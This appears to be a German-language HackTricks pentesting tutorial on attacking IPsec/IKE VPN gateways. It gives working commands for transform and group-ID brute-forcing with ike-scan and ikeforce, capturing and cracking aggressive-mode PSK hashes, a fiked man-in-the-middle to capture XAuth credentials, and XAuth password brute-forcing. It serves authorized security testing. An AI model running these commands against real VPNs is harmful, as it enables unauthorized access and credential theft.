500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

Grundinformationen

IPsec wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Remote-Zugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen.

Die Einrichtung einer Sicherheitsassoziation (SA) zwischen zwei Punkten wird von IKE verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess verläuft in mehreren Phasen:

  • Phase 1: Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus, der drei Nachrichtenpaare umfasst, oder aggressiver Modus verwendet wird.

  • Phase 1.5: Obwohl nicht obligatorisch, verifiziert diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind.

  • Phase 2: Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit ESP und AH gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um Perfect Forward Secrecy (PFS) zu gewährleisten, was die Sicherheit erhöht.

Standardport: 500/udp

Entdecken Sie den Dienst mit nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Eine gültige Transformation finden

Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder einige wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. Jede Transformation enthält eine Anzahl von Attributen wie DES oder 3DES als Verschlüsselungsalgorithmus, SHA oder MD5 als Integritätsalgorithmus, einen Pre-Shared Key als Authentifizierungstyp, Diffie-Hellman 1 oder 2 als Schlüsselverteilungsalgorithmus und 28800 Sekunden als Lebensdauer.

Dann ist das Erste, was Sie tun müssen, eine gültige Transformation zu finden, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool ike-scan verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzigen Vorschlag mit acht Transformationen darin.

Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens AUTH mit dem Wert PSK. Das bedeutet, dass das VPN mit einem gemeinsamen Schlüssel konfiguriert ist (und das ist wirklich gut für einen Pentester). Der Wert der letzten Zeile ist ebenfalls sehr wichtig:

  • 0 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung: Das bedeutet, dass das Ziel kein IPsec-Gateway ist.

  • 1 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung: Das bedeutet, dass das Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind (eine gültige Transformation wird in der Ausgabe angezeigt).

  • 0 zurückgegebener Handshake; 1 zurückgegebene Benachrichtigung: VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn keine der Transformationen akzeptabel ist (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).

In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie ein wenig brute-forcen, um eine gültige Transformation zu finden:

Zuerst müssen Sie alle möglichen Transformationen erstellen:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Und dann jede einzelne mit ike-scan brute-forcen (dies kann mehrere Minuten dauern):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Wenn der Brute-Force-Angriff nicht funktioniert hat, könnte es sein, dass der Server auch auf gültige Transformierungen ohne Handshakes reagiert. Dann könntest du denselben Brute-Force-Angriff versuchen, aber im aggressiven Modus:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hoffentlich wird eine gültige Transformation zurückgegeben. Sie können den gleichen Angriff mit iker.py versuchen. Sie könnten auch versuchen, Transformationen mit ikeforce zu brute-forcen:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH-Gruppe: 14 = 2048-Bit MODP und 15 = 3072-Bit 2 = HMAC-SHA = SHA1 (in diesem Fall). Das --trans Format ist $Enc,$Hash,$Auth,$DH

Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass Länder mit vielen Ressourcen die Verschlüsselung von Daten, die diese schwachen Gruppen verwenden, leicht brechen können. Dies geschieht durch eine spezielle Methode, die sie darauf vorbereitet, die Codes schnell zu knacken. Auch wenn es viel Geld kostet, diese Methode einzurichten, ermöglicht es diesen mächtigen Ländern, die verschlüsselten Daten in Echtzeit zu lesen, wenn sie eine Gruppe verwenden, die nicht stark ist (wie 1.024-Bit oder kleiner).

Server-Fingerprinting

Dann können Sie ike-scan verwenden, um zu versuchen, den Anbieter des Geräts zu entdecken. Das Tool sendet einen anfänglichen Vorschlag und hört auf zu wiederholen. Dann wird es die Zeit-Differenz zwischen den empfangenen Nachrichten vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale Vendor ID (VID) Payload mit IKE.

Geben Sie die gültige Transformation an, falls erforderlich (unter Verwendung von --trans)

Wenn IKE entdeckt, welcher Anbieter es ist, wird es dies ausgeben:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Dies kann auch mit dem nmap-Skript ike-version erreicht werden.

Finden der richtigen ID (Gruppenname)

Um den Hash erfassen zu dürfen, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen. Dazu empfehle ich Ihnen 2 Methoden:

Bruteforcing ID mit ike-scan

Versuchen Sie zunächst, eine Anfrage mit einer gefälschten ID zu stellen, um den Hash zu sammeln ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Wenn kein Hash zurückgegeben wird, dann wird diese Methode des Brute-Forcings wahrscheinlich funktionieren. Wenn ein Hash zurückgegeben wird, bedeutet das, dass ein gefälschter Hash für eine gefälschte ID zurückgesendet wird, sodass diese Methode nicht zuverlässig ist, um die ID zu brute-forcen. Zum Beispiel könnte ein gefälschter Hash zurückgegeben werden (das passiert in modernen Versionen):

Aber wenn, wie ich gesagt habe, kein Hash zurückgegeben wird, dann solltest du versuchen, gängige Gruppennamen mit ike-scan zu brute-forcen.

Dieses Skript wird versuchen, mögliche IDs zu brute-forcen und wird die IDs zurückgeben, bei denen ein gültiger Handshake zurückgegeben wird (das wird ein gültiger Gruppenname sein).

Wenn du eine spezifische Transformation entdeckt hast, füge sie in den ike-scan-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, zögere nicht, eine neue Schleife hinzuzufügen, um sie alle auszuprobieren (du solltest sie alle ausprobieren, bis eine von ihnen richtig funktioniert).

Du kannst das Wörterbuch von ikeforce oder das in seclists von gängigen Gruppennamen verwenden, um sie zu brute-forcen:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (ist eine Kombination der anderen 2 Dictionnaires ohne Wiederholungen):

Bruteforcing ID mit Iker

iker.py verwendet ebenfalls ike-scan, um mögliche Gruppennamen zu bruteforcen. Es folgt seiner eigenen Methode, um eine gültige ID basierend auf der Ausgabe von ike-scan zu finden.

Bruteforcing ID mit ikeforce

ikeforce.py ist ein Tool, das ebenfalls verwendet werden kann, um IDs zu bruteforcen. Dieses Tool wird versuchen, verschiedene Schwachstellen auszunutzen, die verwendet werden könnten, um zwischen einer gültigen und einer ungültigen ID zu unterscheiden (kann falsche Positiv- und Negativ-Ergebnisse haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich).

Standardmäßig wird ikeforce zu Beginn einige zufällige IDs senden, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen, die verwendet werden soll.

  • Die erste Methode besteht darin, die Gruppennamen durch Suche nach den Informationen Dead Peer Detection DPD von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server wiedergegeben, wenn der Gruppenname korrekt ist).

  • Die zweite Methode, die verfügbar ist, besteht darin, die Anzahl der Antworten zu überprüfen, die auf jeden Versuch gesendet werden, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird.

  • Die dritte Methode besteht darin, nach "INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen.

  • Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird ikeforce versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server mit einem Paket antwortet, wenn die korrekte ID gesendet wird. Offensichtlich besteht das Ziel des Bruteforcens der ID darin, den PSK zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der ID und dem PSK den XAUTH bruteforcen (wenn er aktiviert ist).

Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie im ikeforce-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen richtig funktioniert).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Es ist auch möglich, gültige Benutzernamen zu erhalten, indem man die Verbindung zwischen dem VPN-Client und dem Server sniffed, da das erste aggressive Modus-Paket, das die Client-ID enthält, im Klartext gesendet wird.

Capturing & cracking the hash

Schließlich, wenn Sie eine gültige Transformation und den Gruppennamen gefunden haben und wenn der aggressive Modus erlaubt ist, dann können Sie sehr einfach den knackbareren Hash erfassen:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Der Hash wird in hash.txt gespeichert.

Sie können psk-crack, john (unter Verwendung von ikescan2john.py) und hashcat verwenden, um den Hash zu cracken:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressiver Modus IKE kombiniert mit einem Pre-Shared Key (PSK) wird häufig für Gruppenauthentifizierung verwendet. Diese Methode wird durch XAuth (Erweiterte Authentifizierung) ergänzt, die eine zusätzliche Schicht der Benutzerauthentifizierung einführt. Diese Authentifizierung nutzt typischerweise Dienste wie Microsoft Active Directory, RADIUS oder vergleichbare Systeme.

Beim Übergang zu IKEv2 ist ein bemerkenswerter Wandel zu beobachten, bei dem EAP (Erweiterbares Authentifizierungsprotokoll) anstelle von XAuth zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle.

Lokales Netzwerk MitM zur Erfassung von Anmeldeinformationen

So können Sie die Daten der Anmeldung mit fiked erfassen und sehen, ob es einen Standardbenutzernamen gibt (Sie müssen den IKE-Verkehr zu fiked umleiten, um zu schnüffeln, was mit Hilfe von ARP-Spoofing erfolgen kann, mehr Infos). Fiked wird als VPN-Endpunkt fungieren und die XAuth-Anmeldeinformationen erfassen:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Auch, verwenden Sie IPSec, um einen MitM-Angriff durchzuführen und den gesamten Verkehr zu Port 500 zu blockieren. Wenn der IPSec-Tunnel nicht hergestellt werden kann, wird der Verkehr möglicherweise im Klartext gesendet.

Brute-Forcing XAUTH-Benutzernamen und Passwort mit ikeforce

Um den XAUTH zu brute-forcen (wenn Sie einen gültigen Gruppennamen id und den psk kennen), können Sie einen Benutzernamen oder eine Liste von Benutzernamen und eine Liste von Passwörtern verwenden:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination aus Benutzername:Passwort zu verbinden.

Wenn Sie eine oder mehrere gültige Transformationsmethoden gefunden haben, verwenden Sie diese einfach wie in den vorherigen Schritten.

Authentifizierung mit einem IPSEC VPN

In Kali wird VPNC verwendet, um IPsec-Tunnel einzurichten. Die Profile müssen im Verzeichnis /etc/vpnc/ gespeichert sein. Sie können diese Profile mit dem Befehl vpnc starten.

Die folgenden Befehle und Konfigurationen veranschaulichen den Prozess der Einrichtung einer VPN-Verbindung mit VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In dieser Konfiguration:

  • Ersetzen Sie [VPN_GATEWAY_IP] durch die tatsächliche IP-Adresse des VPN-Gateways.

  • Ersetzen Sie [VPN_CONNECTION_ID] durch die Kennung für die VPN-Verbindung.

  • Ersetzen Sie [VPN_GROUP_SECRET] durch das Gruppenpasswort des VPN.

  • Ersetzen Sie [VPN_USERNAME] und [VPN_PASSWORD] durch die Authentifizierungsdaten des VPN.

  • [PID] symbolisiert die Prozess-ID, die zugewiesen wird, wenn vpnc initiiert.

Stellen Sie sicher, dass tatsächliche, sichere Werte verwendet werden, um die Platzhalter bei der Konfiguration des VPN zu ersetzen.

Referenzmaterial

Shodan

  • port:500 IKE

Unterstützen Sie HackTricks

Last updated